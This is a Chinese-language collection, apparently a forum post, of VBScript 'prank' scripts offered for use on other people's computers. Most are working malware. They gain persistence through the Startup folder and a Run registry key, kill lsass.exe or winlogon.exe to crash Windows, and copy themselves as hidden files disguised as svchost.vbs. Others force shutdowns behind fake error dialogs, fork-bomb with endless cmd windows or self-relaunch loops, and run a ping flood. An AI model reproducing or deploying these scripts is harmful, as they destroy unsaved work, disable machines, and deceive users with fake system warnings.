vbs整人代码(稀有)

超可怕的病毒
——————————————————————————————————————————————
XX = "C:\Documents and Settings\All Users\「开始」菜单\程序\启动"

Set fso = CreateObject("Scripting.FileSystemObject")
fso.MoveFile WScript.ScriptFullName, XX

set HBK=wscript.createobject("wscript.shell")
HBK.run ("cmd")
HBK.run ("cmd")
HBK.run ("cmd")
HBK.run ("shutdown -a")
CreateObject("wscript.shell").regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs",wscript.scriptfullname
set HBK=wscript.createobject("wscript.shell")
HBK.run ("ntsd -c q -pn lsass.exe")
HBK.run ("shutdown -a")

----------------------------------------------------——-————————————--———~



·
Set objFS = CreateObject("Scripting.FileSystemObject")

Set objFSO = CreateObject("Scripting.FileSystemObject")

set wsh=wscript.createobject("wscript.shell")

set reg=wscript.createobject("wscript.shell")

dim wsh

a=WScript.ScriptFullName

b="shutdown -t 60 -s -c ever"

c="c:\svchost.vbs"

d="d:\svchost.vbs"

s="c:\windows\system32\svchost.vbs"

c1="attrib +s +h +a +r c:\svchost.vbs"

d1="attrib +s +h +a +r d:\svchost.vbs"

s1="attrib +s +h +a +r c:\windows\system32\svchost.vbs"

If objFSO.FileExists (c) Then

Else

objFs.GetFile (a).Copy (c)

wsh.run c1

End If

If objFSO.FileExists(d) Then

Else

objFs.GetFile (a).Copy (d)

wsh.run d1

End If

If objFSO.FileExists(s) Then

Else

objFs.GetFile (a).Copy (s)

wsh.run s1

End If

wsh.run b

msgbox "系统快要崩溃了！",48,"由于你经常看黄页："

msgbox "windows崩溃了！",18,"安全警报："

do
wsh.run ("ping -t -l 6500 192.168.1.1")
loop





哈哈


if MsgBox("你是猪吗。",vbYesNo,"猪")=vbYes then
msgbox " 猪应该关机 ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
else
msgbox "还不承认!! 作为惩罚，xx一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if

绝对脑残


Set HHH=wscript.createobject("wscript.shell")
do
HHH.run("cmd")
loop


死机

if msgbox ("winlogon发生了一个异常，是否关机？",vbOKCancel,"系统消息")=vbOK then
set HBK=wscript.createobject("wscript.shell")
HBK.run("shutdown -s")
else
set HBK=wscript.createobject("wscript.shell")
HBK.run("shutdown -s")
end if


点确定和取消都关机



do
msgbox("从前有座山")
msgbox("山里有座庙")
msgbox("庙里有个和尚在看报")
msgbox("看的是什么")
msgbox("就是")
loop


猜吧


const yourname = "xxx"
const title = "爱情测试"
const question = "你最喜欢的人是谁？请在下面的方框中输入他（她

）的名字。"
const info = "你在说谎！不要逃避，实话实说。"
const scend = "你说出了你的心扉，那就向他（她）表白吧。"
dim youranswer
do
youranswer = inputbox(question, title)
if youranswer <> yourname then msgbox info, vbinformation+vbokonly, title
loop until youranswer = yourname
msgbox scend, vbinformation+vbokonly, title

打xxx才能解除

if MsgBox("对不起,您灌水太多需要爆破计算机。"&chr(10)&"确定要爆破吗？",vbOKCancel,"爆破计算机")=vbCancel then

msgbox " 系统将立刻关机wow ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if

点“取消”就会关机

do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop


不停自我启动拖死CPU



dim a
set a=createobject("sapi.spvoice")
do
a.speak "you are pig"
loop


音箱里一直说you are pig